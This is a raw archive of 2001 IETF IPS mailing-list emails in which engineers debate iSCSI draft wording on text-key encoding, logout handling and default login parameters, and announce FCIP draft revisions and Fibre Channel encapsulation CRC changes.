MIME-Version: 1.0 Subject: Re: iSCSI: Comments on draft 07-97 X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 From: "Julian Satran" X-MIMETrack: S/MIME Sign by Notes Client on Julian Satran/Haifa/IBM(Release 5.0.8 |June 18, 2001) at 29-09-2001 10:39:10, Serialize by Notes Client on Julian Satran/Haifa/IBM(Release 5.0.8 |June 18, 2001) at 29-09-2001 10:39:10, Serialize complete at 29-09-2001 10:39:10, S/MIME Sign failed at 29-09-2001 10:39:10: The cryptographic key was not found, Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 29/09/2001 11:38:57, Serialize complete at 29/09/2001 11:38:57 Message-ID: Date: Sat, 29 Sep 2001 11:38:54 +0300 Content-Type: multipart/alternative; boundary="=_alternative 002F8805C2256AD6_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 002F8805C2256AD6_= Content-Type: text/plain; charset="us-ascii" Steve, Sorry for the delay. Comments in text. Thanks, Julo Steve Senum 28-09-01 18:20 Please respond to Steve Senum To: Julian Satran/Haifa/IBM@IBMIL cc: Subject: iSCSI: Comments on draft 07-97 Julian, My apologies if you already received this, but I never saw a reply, and I think most of these comments still apply to 07-99. Regards, Steve Senum ----- Message from Steve Senum on Mon, 24 Sep 2001 12:15:13 -0500 ----- To: ietf-ips Subject: iSCSI: Comments on draft 07-97 Hi Julian, Some comments on the draft-ietf-ips-iSCSI-07-97.txt. In section 3.10.4: 3.10.4 Text The initiator sends the target a set of key=value or key=list pairs encoded in UTF-8 Unicode. All the text keys and text values specified in this document are to be presented and interpreted in the case they appear in this document (they are case sensitive). The key and value are separated by a '=' (0x3d) delimiter. Every key=value pair (including the last or only pair) MUST be followed by exactly one null (0x00) delimiter. A list is a set of values separated by comma (0x2c). Binary items can be encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) or decimal representation. If not specified otherwise the maximum length of an individual value (not its string representation) is 255 bytes not including the delimiter (comma or null). Large binary items can be encoded using the Base64 encoding as specified by [RFC1521] preceded by the 0b. Key names MUST NOT exceed 63 bytes. The data lengths of a text request or response MUST NOT exceed 4096 bytes. Character strings are represented as plain text. Numeric and binary values are represented using decimal numbers, the hexadecimal 0xffff encoding or the Base64 encoding. Upper and lower case letters may be used interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and 0x1ABC are equivalent). 1. The third paragraph overlaps with the first. I would suggest moving all discussion on encodings to a seperate paragraph. +++ I am cleaning up a bit the text. More editing will come in 09 +++ 2. Why RFC 1521? Is was obsoleted by RFC 2045. +++ I've fixed that +++ 3. Could you define a "large binary item"? A value larger than 32 bits? Larger than can fit as hexadecimal in 255 characters, including the 0x prefix? +++ I think we can leave that to the implementer. The intent is to let them encode whatever they want with any of the 3 methods +++ 4. Can any key use the base64, or only those that specify it? If a key specifies it, can it also use decimal and hexadecimal encodings? +++ any numeric/binary value can be encoded anyhow. I will remove the specific references to make this more obvious +++ 5. You might want to mention something about numbers prefixed with '0' being decimal (i.e., 011 is 11 (base 10), not 9 (base 8)), since we are sort of following the C language integer number conventions. +++ I will ++ 6. I don't undertand the "(not its string representation)" clause? Does this mean something like ("not its unicode character count")? Or say something like: If not specified otherwise the maximum length of an individual encoded value is 255 bytes not including the ^^^^^^^ delimiter (comma or null). +++ I will say "not its encoded representation" +++ 7. In the following paragraph: Manufacturers may introduce new keys by prefixing them with X- followed by their (reversed) domain name, for example the company owning the domain acme.com can issue: X-com.acme.bar.foo.do_something=0000000000000003 Why all the zeros? I would expect something like: X-com.acme.bar.foo.do_something=3 +++ good point will fix +++ 8. Appendix A has: [Kerberos] KRB_AP_REQ, KRB_AP_REP encoded as base64 strings. [Public Key] All the SPKM-* tokens are encoded as base64 strings and their binary length (not the encoded length) MUST not exceed 2048 bytes. [SRP] Where U, N, g, s, A, B, M and H(A | M | K) are defined in [RFC2945]. U is a text string, N,g,s,A,B,M and H(A | M | K) are numbers. [CHAP] N is a text string, A,A1,A2,I are numbers and C,R are large binaries encoded as hexadecimal strings. Why are SRP values all defined as numbers? From my (perhaps wrong) understanding of SRP, N, A and B can quite large, like 2048 bits or 256 bytes. I would think these should be encoded (always) as base64. Also, I belive M and H(...) are 160 bits, and s can go larger than 32 bits, perhaps they should always be encoded as hexadecimal strings? +++ encoding is left to the implementor +++ Regards, Steve Senum --=_alternative 002F8805C2256AD6_= Content-Type: text/html; charset="us-ascii"
Steve,

Sorry for the delay.

Comments in text.

Thanks, Julo


Steve Senum <ssenum@cisco.com>

28-09-01 18:20
Please respond to Steve Senum

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        
        Subject:        iSCSI: Comments on draft 07-97

       


Julian,

My apologies if you already received this,
but I never saw a reply, and I think most
of these comments still apply to 07-99.

Regards,
Steve Senum
----- Message from Steve Senum <ssenum@cisco.com> on Mon, 24 Sep 2001 12:15:13 -0500 -----
To: ietf-ips <ips@ece.cmu.edu>
Subject: iSCSI: Comments on draft 07-97

Hi Julian,

Some comments on the draft-ietf-ips-iSCSI-07-97.txt.

In section 3.10.4:

    3.10.4 Text
       
       The initiator sends the target a set of key=value or key=list pairs
       encoded in UTF-8 Unicode. All the text keys and text values specified
       in this document are to be presented and interpreted in the case they
       appear in this document (they are case sensitive). The key and value
       are separated by a '=' (0x3d) delimiter. Every key=value pair
       (including the last or only pair) MUST be followed by exactly one
       null (0x00) delimiter.  A list is a set of values separated by comma
       (0x2c). Binary items can be encoded using their hexadecimal
       representation (e.g., 8190 is 0x1ffe) or decimal representation. If
       not specified otherwise the maximum length of an individual value
       (not its string representation) is 255 bytes not including the
       delimiter (comma or null).  Large binary items can be encoded using
       the Base64 encoding as specified by [RFC1521] preceded by the 0b.  
       Key names MUST NOT exceed 63 bytes.
       
       The data lengths of a text request or response MUST NOT exceed 4096
       bytes.  
       
       Character strings are represented as plain text. Numeric and binary
       values are represented using decimal numbers, the hexadecimal 0xffff
       encoding or the Base64 encoding. Upper and lower case letters may be
       used interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC
       and 0x1ABC are equivalent).  
       

1. The third paragraph overlaps with the first. I would suggest moving
all discussion on encodings to a seperate paragraph.
+++ I am cleaning up a bit the text. More editing will come in 09 +++

2. Why RFC 1521?  Is was obsoleted by RFC 2045.
+++ I've fixed that +++

3. Could you define a "large binary item"?  A value larger than
32 bits?  Larger than can fit as hexadecimal in 255 characters,
including the 0x prefix?

+++ I think we can leave that to the implementer.  The intent is to let them encode whatever they want with any of the 3 methods +++

4. Can any key use the base64, or only those that specify it?
If a key specifies it, can it also use decimal and hexadecimal
encodings?

+++ any numeric/binary value can be encoded anyhow. I will remove the specific references to make this more obvious +++

5. You might want to mention something about numbers prefixed
with '0' being decimal (i.e., 011 is 11 (base 10), not 9 (base 8)),
since we are sort of following the C language integer number
conventions.
+++ I will ++
6. I don't undertand the "(not its string representation)" clause?
Does this mean something like ("not its unicode character count")?
Or say something like:

       If not specified otherwise the maximum length of an
       individual encoded value is 255 bytes not including the
                  ^^^^^^^
       delimiter (comma or null).
+++ I will say "not its encoded representation"  +++
7. In the following paragraph:

       Manufacturers may introduce new keys by prefixing them with X-
       followed by their (reversed) domain name, for example the company
       owning the domain acme.com can issue:  
       
          X-com.acme.bar.foo.do_something=0000000000000003

Why all the zeros?  I would expect something like:

          X-com.acme.bar.foo.do_something=3
+++ good point will fix +++
8. Appendix A has:

       [Kerberos]
       KRB_AP_REQ, KRB_AP_REP encoded as base64 strings.

       [Public Key]        
       All the SPKM-* tokens are encoded as base64 strings and their binary
       length (not the encoded length) MUST not exceed 2048 bytes.

       [SRP]
       Where U, N, g, s, A, B, M and H(A | M | K) are defined in [RFC2945].
       U is a text string, N,g,s,A,B,M and H(A | M | K) are numbers.

       [CHAP]
       N is a text string, A,A1,A2,I are numbers and C,R are
       large binaries encoded as hexadecimal strings.

Why are SRP values all defined as numbers?  From my (perhaps wrong)
understanding of SRP, N, A and B can quite large, like 2048 bits
or 256 bytes. I would think these should be encoded (always) as base64.
Also, I belive M and H(...) are 160 bits, and s can go larger than
32 bits, perhaps they should always be encoded as hexadecimal strings?

+++ encoding is left to the implementor +++
Regards,
Steve Senum

--=_alternative 002F8805C2256AD6_=-- From owner-ips@ece.cmu.edu Sat Sep 29 06:35:12 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA19502 for ; Sat, 29 Sep 2001 06:35:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8T9e5s08749 for ips-outgoing; Sat, 29 Sep 2001 05:40:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8T9e2P08743 for ; Sat, 29 Sep 2001 05:40:02 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id LAA279552 for ; Sat, 29 Sep 2001 11:39:54 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8T9dsP25782 for ; Sat, 29 Sep 2001 11:39:54 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: iscsi : how should a target process a logout ? X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 From: "Julian Satran" X-MIMETrack: S/MIME Sign by Notes Client on Julian Satran/Haifa/IBM(Release 5.0.8 |June 18, 2001) at 29-09-2001 11:18:04, Serialize by Notes Client on Julian Satran/Haifa/IBM(Release 5.0.8 |June 18, 2001) at 29-09-2001 11:18:04, Serialize complete at 29-09-2001 11:18:04, S/MIME Sign failed at 29-09-2001 11:18:04: The cryptographic key was not found, Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 29/09/2001 12:39:53, Serialize complete at 29/09/2001 12:39:53 Message-ID: Date: Sat, 29 Sep 2001 12:39:51 +0300 Content-Type: multipart/alternative; boundary="=_alternative 003317CDC2256AD6_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 003317CDC2256AD6_= Content-Type: text/plain; charset="us-ascii" Santosh, Good point. This text is relatively old. The new text will read: After receiving the Logout command the target aborts all pending commands on that connection/session if the logout reason code is "close the connection", " or "close the session" and suspends all data/status/R2T transfers on behalf of pending commands if the reason code is "remove connection for recovery". The target then issues the Logout response and half-closes the TCP connection (sends FIN). After receiving the Logout response and attempting to receive the FIN (if still possible), the initiator MUST completely close the logging-out connection. For the aborted commands, no additional responses should be expected after that. Note that a Logout for a CID may be performed on a different transport connection when the TCP connection for the CID had already been terminated. In such a case, only a logical "closing" of the iSCSI connection for the CID is implied with a Logout. All commands that were not aborted or not completed (with status) and acknowledged when the connection is closed completely can be reassigned to a new connection if the target supports connection recovery. Regards, Julo Santosh Rao Sent by: owner-ips@ece.cmu.edu 29-09-01 03:14 Please respond to Santosh Rao To: IPS Reflector cc: Subject: iscsi : how should a target process a logout ? All, Please refer Rev 7.98 Section 3.14 on logout : "After receiving the Logout command the target completes all pending commands (device activity, data to/from the initiator, R2T and status transfers) that it deems fit to conclude, and then issues the Logout response and half-closes the TCP connection (sends FIN)." I object to the following wording : "target completes all pending commands (device activity, data to/from the initiator, R2T and status transfers) that it deems fit to conclude" The above seems to imply that the target is supposed to continue processing the pending commands and only upon their completion would it send a logout response. I suggest that the above wording be removed and something in its place be added to indicate clearly that a target MUST : - abort all pending I/Os on that connection/session if the logout reason code is "close the connection", " or "close the session" respectively. - transfer the allegiance of all pending commands on that connection if the logout reason code is "remove the connection for recovery". - NOT send back scsi response for any aborted I/Os. The logout response implicitly terminates all the pending I/Os on that connection, [or session, if the session is being logged out.] - NOT send any further PDUs to the initiator, other than the response to the logout. Comments ? Thanks, Santosh -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## --=_alternative 003317CDC2256AD6_= Content-Type: text/html; charset="us-ascii"
Santosh,

Good point. This text is relatively old.

The new text will read:

After receiving the Logout command the target aborts all pending commands on that connection/session if the logout reason code is "close the connection", " or "close the session" and suspends all data/status/R2T transfers on behalf of pending commands if the reason code is "remove connection for recovery". The target then issues the Logout response and half-closes the TCP connection (sends FIN).  After receiving the Logout response and attempting to receive the FIN (if still possible), the initiator MUST completely close the logging-out connection. For the aborted commands, no additional responses should be expected after that.

Note that a Logout for a CID may be performed on a different transport connection when the TCP connection for the CID had already been terminated.  In such a case, only a logical "closing" of the iSCSI connection for the CID is implied with a Logout.

All commands that were not aborted or not completed (with status) and acknowledged when the connection is closed completely can be reassigned to a new connection if the target supports connection recovery.

Regards,
Julo


Santosh Rao <santoshr@cup.hp.com>
Sent by: owner-ips@ece.cmu.edu

29-09-01 03:14
Please respond to Santosh Rao

       
        To:        IPS Reflector <ips@ece.cmu.edu>
        cc:        
        Subject:        iscsi : how should a target process a logout ?

       


All,


Please refer Rev 7.98 Section 3.14 on logout :

"After receiving the Logout command the target completes all pending
commands (device activity, data to/from the initiator, R2T and status
transfers) that it deems fit to conclude, and then issues the Logout
response and half-closes the TCP connection (sends FIN)."

I object to the following wording :

"target completes all pending commands (device activity, data to/from
the initiator, R2T and status transfers) that it deems fit to conclude"

The above seems to imply that the target is supposed to continue
processing the pending commands and only upon their completion would it
send a logout response.

I suggest that the above wording be removed and something in its place
be added to indicate clearly that a target MUST :

- abort all pending I/Os on that connection/session if the logout reason
code is "close the connection", " or "close the session" respectively.

- transfer the allegiance of all pending commands on that connection if
the logout reason code is "remove the connection for recovery".

- NOT send back scsi response for any aborted I/Os. The logout response
implicitly terminates all the pending I/Os on that connection, [or
session, if the session is being logged out.]

- NOT send any further PDUs to the initiator, other than the response to
the logout.

Comments ?

Thanks,
Santosh


--
##################################
Santosh Rao
Software Design Engineer,
HP-UX iSCSI Driver Team,
Hewlett Packard, Cupertino.
email : santoshr@cup.hp.com
Phone : 408-447-3751
##################################

--=_alternative 003317CDC2256AD6_=-- From owner-ips@ece.cmu.edu Sat Sep 29 08:31:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA20355 for ; Sat, 29 Sep 2001 08:31:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TBZaw23701 for ips-outgoing; Sat, 29 Sep 2001 07:35:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from siaar2ab.compuserve.com (siaar2ab.compuserve.com [149.174.40.138]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8TBZXP23694 for ; Sat, 29 Sep 2001 07:35:33 -0400 (EDT) Received: (from mailgate@localhost) by siaar2ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) id HAA17757 for ips@ece.cmu.edu; Sat, 29 Sep 2001 07:35:27 -0400 (EDT) Received: from compuserve.com (dal-tgn-tlx-vty2.as.wcom.net [216.192.238.2]) by siaar2ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) with ESMTP id HAA17752 for ; Sat, 29 Sep 2001 07:35:23 -0400 (EDT) Message-ID: <3BB5B325.F7D74700@compuserve.com> Date: Sat, 29 Sep 2001 06:40:21 -0500 From: Ralph Weber Reply-To: ENDL_TX@computer.org X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (Win95; I) X-Accept-Language: en,pdf MIME-Version: 1.0 To: IPS Reflector Subject: FCIP rev 06a available Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Revision 06a of the FCIP draft is available as: ftp://ftp.t11.org/t11/pub/fc/bb-2/01-482v1.pdf or ftp://ftp.t11.org/t11/pub/fc/bb-2/01-482v0.txt Revision 06a contains the following changes: 1) In Annex D, clarify that the FC Encapsulation header CRC field is reserved in FCIP. 2) In 8.4.3, eliminate the use of "authentication MAC" because it is not the preferred terminology. Instead use "ESP packet". 3) In 7.1.3, change wording so that the IP Address of the remote FCIP entity is known to the security setup function. Also remove security information from the list of things the FCIP Entity must determine because the security setup is complete by the time the list is relevant. 4) In 7.1.4, be sure security is applied to both the SLP discovery process and to new connections established as a result of SLP discovery. Also remove security information from the list of things the FCIP Entity must determine because the security setup is complete by the time the list is relevant. 5) In 7.1.5, clarify that the FCIP Entity receiving a TCP connect request must do its part in setting up security. 6) Incorporate changes in 5.6.2.2 promised by Sudhir Srinivasan (IPS list 9/10/01 morning) in response to issues of clarity raised by Barry Reinhold in a message titled "FCIP: Intent of standard in 6.6.2.2" (9/6/01 afternoon). Sudhir subsequently suggested wording changes and they appear in 5.6.2.2 (Note: section numbers changed between -05 from which Barry derived the section number and -06a where the changes are being made.) 7) Review all SHALLs, MUSTs, etc. to be sure that all caps are used only for interoperability requirements, as per the discussion at the Orange County interim. Enjoy. Ralph... From owner-ips@ece.cmu.edu Sat Sep 29 08:34:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA20434 for ; Sat, 29 Sep 2001 08:34:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TC5nw24868 for ips-outgoing; Sat, 29 Sep 2001 08:05:49 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from siaar2ab.compuserve.com (siaar2ab.compuserve.com [149.174.40.138]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8TC5hP24863 for ; Sat, 29 Sep 2001 08:05:47 -0400 (EDT) Received: (from mailgate@localhost) by siaar2ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) id IAA23998 for ips@ece.cmu.edu; Sat, 29 Sep 2001 08:05:37 -0400 (EDT) Received: from compuserve.com (dal-tgn-tlx-vty2.as.wcom.net [216.192.238.2]) by siaar2ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) with ESMTP id IAA23993 for ; Sat, 29 Sep 2001 08:05:27 -0400 (EDT) Message-ID: <3BB5BA30.A2A29624@compuserve.com> Date: Sat, 29 Sep 2001 07:10:24 -0500 From: Ralph Weber Reply-To: ENDL_TX@computer.org X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (Win95; I) X-Accept-Language: en,pdf MIME-Version: 1.0 To: IPS Reflector Subject: Re: I-D ACTION:draft-monia-ips-enccrcex-00.txt References: <200109241309.JAA03157@ietf.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I was concerned that this proposal would mandate behaviors that some FCIP device will not want or need to implement. So I discussed it offline with Charles. We agree on the FC Encapsulation changes shown below. Unless objections are heard, these changes (plus the FC-FS reference in the SOF/EOF description requested at the Orange County interim) will be added to a new revision sent to the Internet Drafts office on Friday (10/5). Ordering changes: Clarify the relationship between the bits on the FC wire and the IP payload by adding the following to section 5.1 right after figure 4: "As shown in figure 4, the FC frame content is defined as the data between the EOF and SOF delimiters (including the CRC) after conversion from FC-1 to FC-2 format as specified by FC-FS [3]." Then modify section 5.2 as follows: "The Encapsulation Header, SOF, FC frame content, and EOF are mapped to TCP using the big endian byte ordering, which corresponds to the standard network byte order or canonical form [8]." Specify the header CRC representation by modifying the last paragraph of section 3.1 as follows: "...the CRC field SHALL contain a CRC for words 0 to 5 of the FC Encapsulation Header computed using the polynomial, initial value, and bit order defined for Fibre Channel in FC-FS [3]. Using this algorithm, the bit order of the resulting CRC corresponds to that of FC-1 layer. The CRC transmitted over the IP network shall correspond to the equivalent value converted to FC-2 format as specified in FC-FS." Thanks for your consideration. Ralph... Internet-Drafts@ietf.org wrote: > > A New Internet-Draft is available from the on-line Internet-Drafts directories. > > Title : Common Encapsulation CRC Format > Author(s) : C. Monia > Filename : draft-monia-ips-enccrcex-00.txt > Pages : 7 > Date : 20-Sep-01 > > This document proposes a change to the FC Common Encapsulation > specification [ENCAP] to define how a Fibre Channel CRC is instantiated > for transmission over an IP network. > > A URL for this Internet-Draft is: > http://www.ietf.org/internet-drafts/draft-monia-ips-enccrcex-00.txt > > To remove yourself from the IETF Announcement list, send a message to > ietf-announce-request with the word unsubscribe in the body of the message. > > Internet-Drafts are also available by anonymous FTP. Login with the username > "anonymous" and a password of your e-mail address. After logging in, > type "cd internet-drafts" and then > "get draft-monia-ips-enccrcex-00.txt". > > A list of Internet-Drafts directories can be found in > http://www.ietf.org/shadow.html > or ftp://ftp.ietf.org/ietf/1shadow-sites.txt > > Internet-Drafts can also be obtained by e-mail. > > Send a message to: > mailserv@ietf.org. > In the body type: > "FILE /internet-drafts/draft-monia-ips-enccrcex-00.txt". > > NOTE: The mail server at ietf.org can return the document in > MIME-encoded form by using the "mpack" utility. To use this > feature, insert the command "ENCODING mime" before the "FILE" > command. To decode the response(s), you will need "munpack" or > a MIME-compliant mail reader. Different MIME-compliant mail readers > exhibit different behavior, especially when dealing with > "multipart" MIME messages (i.e. documents which have been split > up into multiple messages), so check your local documentation on > how to manipulate these messages. > > > Below is the data which will enable a MIME compliant mail reader > implementation to automatically retrieve the ASCII version of the > Internet-Draft. > > ------------------------------------------------------------------------------------------------------------------------------------------------------ > Content-Type: Message/External-body; > name=draft-monia-ips-enccrcex-00.txt; > site=ftp.ietf.org; > access-type=anon-ftp; > directory=internet-drafts > > Content-Type: text/plain > Content-ID: <20010920115918.I-D@ietf.org> From owner-ips@ece.cmu.edu Sat Sep 29 09:59:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21265 for ; Sat, 29 Sep 2001 09:59:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TD8sw27536 for ips-outgoing; Sat, 29 Sep 2001 09:08:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from calliope1.fm.intel.com (fmfdns01.fm.intel.com [132.233.247.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8TD8oP27530 for ; Sat, 29 Sep 2001 09:08:50 -0400 (EDT) Received: from fmsmsxvs041.fm.intel.com (fmsmsxv041-1.fm.intel.com [132.233.48.109]) by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.43 2001/09/24 21:10:20 root Exp $) with SMTP id NAA03285 for ; Sat, 29 Sep 2001 13:08:48 GMT Received: from FMSMSX018.fm.intel.com ([132.233.42.197]) by fmsmsxvs041.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001092906102100992 for ; Sat, 29 Sep 2001 06:10:21 -0700 Received: by fmsmsx018.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Sat, 29 Sep 2001 06:06:10 -0700 Message-ID: From: "Gilbert, Warren" To: ips@ece.cmu.edu Subject: remove Date: Fri, 28 Sep 2001 18:06:21 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk From owner-ips@ece.cmu.edu Sat Sep 29 18:34:19 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26758 for ; Sat, 29 Sep 2001 18:34:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLl0320438 for ips-outgoing; Sat, 29 Sep 2001 17:47:00 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SEjPP08140 for ; Fri, 28 Sep 2001 10:45:25 -0400 (EDT) Received: from eddylaptop ([24.61.64.49]) by chmls06.mediaone.net (8.11.1/8.11.1) with SMTP id f8SEjAh25701; Fri, 28 Sep 2001 10:45:11 -0400 (EDT) From: "Eddy Quicksall" To: "'John Hufferd'" , "'Julian Satran'" Cc: Subject: RE: iscsi : iscsi parameter default values Date: Fri, 28 Sep 2001 10:44:53 -0400 Message-ID: <001b01c1482c$24d64e70$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I don't have any problem anymore with the ImmediateData default because the spec has been changed to say: For numerical (and binary) negotiations, the responding party MUST respond with the required key. But, there is still the issue I have pointed out below, that is ... Section 5 says: The initial Login request MUST include the InitiatorName and SessionType key=value pairs. Since SessionType is REQUIRED, naming a default would imply a possible typo in the spec (i.e., either the SessionType is not required or the default has no meaning). I suggest that we take the Default out of SessionType or change section 5 to say: The initial Login request MUST include the InitiatorName key=value pair. If the SessionType is not specified, the default type will be Normal. Eddy -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Friday, September 28, 2001 4:33 AM To: Julian Satran Cc: ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values I also agree with this. It should be yes. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: RE: iscsi : iscsi parameter default values The one that I have trouble living with is ImmediateData. This is important for low-end desktops and hardly matters for large boxes. As such I would suggest it stays as yes. Julo "Eddy Quicksall" To: "'Santosh Rao'" , iaone.net> cc: Sent by: Subject: RE: iscsi : iscsi parameter default values owner-ips@ece.c mu.edu 27-09-01 17:22 Please respond to "Eddy Quicksall" I like your defaults below. But, section 5 says: The initial Login request MUST include the InitiatorName and SessionType key=value pairs. Since SessionType is REQUIRED, naming a default would imply a possible typo in the spec. Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Wednesday, September 26, 2001 10:29 PM To: ips@ece.cmu.edu Subject: iscsi : iscsi parameter default values All, With the issue of mode page vs. login keys having [almost] drawn to a close, I would like to raise the below issues again, on the subject of default values for login keys and other iscsi parameters : * In keeping with traditional use of scsi mode pages, iscsi should not specify any default settings for any mode pages that continue to exist for iscsi. "Default values" for mode pages are target specific and should not be bound to the protocol draft. * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 :-< This implies that targets must be always prepared to deal with out of order data and initiators must be prepared to deal with out of order data, unless the initiator performs a mode select to disable it. [which defeats all the previous advantages gained thru mandating use of login keys for other negotiations.]. A default, if it were to exist, should be 0. (in-order, by default). * Conservative specification of defaults for login keys along the following lines : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, is an EnableCRN bit required at the transport layer ? If the device server capability is to be negotiated , I suggest this bit be moved to a SCSI ULP Mode Page such as the "Control Mode Page", through a T10 change as a part of the SCSI changes being driven by iscsi. Comments ? Thanks, Santosh Santosh Rao wrote: > There are the separate issues of : > > * iscsi's specification of defaults for its mode pages which is not in line with mode page > usage. This impacts the target's ability to enforce values other than the protocol > specified default, if the initiator were to not use mode sense/select. > > * default settings for login keys. > > * Is there a need for the "LUN Control Mode Page" and whether "Enable CRN" should be in a > transport specific mode page ? > > which need to be driven to closure as well. > > Regards, > Santosh From owner-ips@ece.cmu.edu Sat Sep 29 18:35:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26775 for ; Sat, 29 Sep 2001 18:35:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLjPB20300 for ips-outgoing; Sat, 29 Sep 2001 17:45:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cygnus.equallogic.com (cygnus.equallogic.com [65.170.102.10]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f8SH2OP18039 for ; Fri, 28 Sep 2001 13:02:25 -0400 (EDT) Received: from deneb.dev.equallogic.com (deneb.dev.equallogic.com [192.168.1.99]) by cygnus.equallogic.com (8.11.6/8.11.6) with ESMTP id f8SH24013015; Fri, 28 Sep 2001 13:02:04 -0400 Received: from PKONING.equallogic.com (localhost.localdomain [127.0.0.1]) by deneb.dev.equallogic.com (8.11.2/8.11.2) with ESMTP id f8SH23l24562; Fri, 28 Sep 2001 13:02:04 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: 